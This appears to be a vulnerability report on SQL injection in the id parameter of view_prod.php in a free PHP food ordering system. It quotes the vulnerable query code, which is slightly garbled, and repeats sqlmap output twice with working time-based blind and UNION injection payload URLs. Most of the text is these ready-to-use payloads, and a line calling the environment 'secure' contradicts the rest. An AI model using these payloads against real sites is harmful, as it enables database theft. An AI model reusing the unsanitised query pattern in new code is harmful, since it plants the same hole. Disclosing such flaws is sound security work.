

SQL injection vulnerability exists in id parameter of view_prod.php file of online ordering system
 Important user data or system data may be leaked and system security may be compromised
 The environment is secure and the information can be used by malicious users.

```
<?php
include 'admin/db_connect.php';
$qry = $conn->query("SELECT * FROM product_list where id = ".$_GET['id']->fetch_array();
?>
<div class="container-fluid">

  <div class="card">
    
    <div class="card-body">
      <h5 class="card-title"><?php echo $qry['name'] ?></h5>
      <p class="card-text truncate"><?php echo $qry['description'] ?></p>
      <div class="form-group">
```

```
---
Parameter: #1* (URI)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: http://192.168.31.40:80/fos/view_prod.php?id=4 AND 3 AND (SELECT 6787 FROM (SELECT(SLEEP(5)))oUXt)-- wXuu21=6 AND 602=602

Parameter: #2* (URI)
  Type: UNION query
  Title: Generic UNION query (NULL) - 7 columns
  Payload: http://192.168.31.40:80/fos/view_prod.php?id=-9347 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171766a71,0x52494b53655657716d514d74507a71466c4a65674c4473476979414c74565a615345526b4544626c,0x716a626a71),NULL,NULL,NULL-- -21=6 AND 602=602

Parameter: #2* (URI)
  Type: UNION query
  Title: Generic UNION query (NULL) - 7 columns
  Payload: http://192.168.31.40:80/fos/view_prod.php?id=-7161 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171766a71,0x6943704b676569477851574f7a51664448796d73486243494b68465a53757277504b6e6370554156,0x716a626a71),NULL,NULL,NULL-- -1=6 AND 602=602
---
```

Sqlmap attack:

```
"
---
Parameter: #1* (URI)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: http://192.168.31.40:80/fos/view_prod.php?id=4 AND 3 AND (SELECT 6787 FROM (SELECT(SLEEP(5)))oUXt)-- wXuu21=6 AND 602=602

  Type: UNION query
  Title: Generic UNION query (NULL) - 7 columns
  Payload: http://192.168.31.40:80/fos/view_prod.php?id=-9347 UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x7171766a71,0x52494b53655657716d514d74507a71466c4a65674c
4473476979414c74565a615345526b4544626c,0x716a626a71),NULL,NULL,NULL-- -21=6 AND
602=602

Parameter: #2* (URI)
  Type: UNION query
  Title: Generic UNION query (NULL) - 7 columns
  Payload: http://192.168.31.40:80/fos/view_prod.php?id=-7161 UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x7171766a71,0x6943704b676569477851574f7a51664448796d7348
6243494b68465a53757277504b6e6370554156,0x716a626a71),NULL,NULL,NULL-- -1=6 AND
602=602
---
```

Source Download:

<https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html>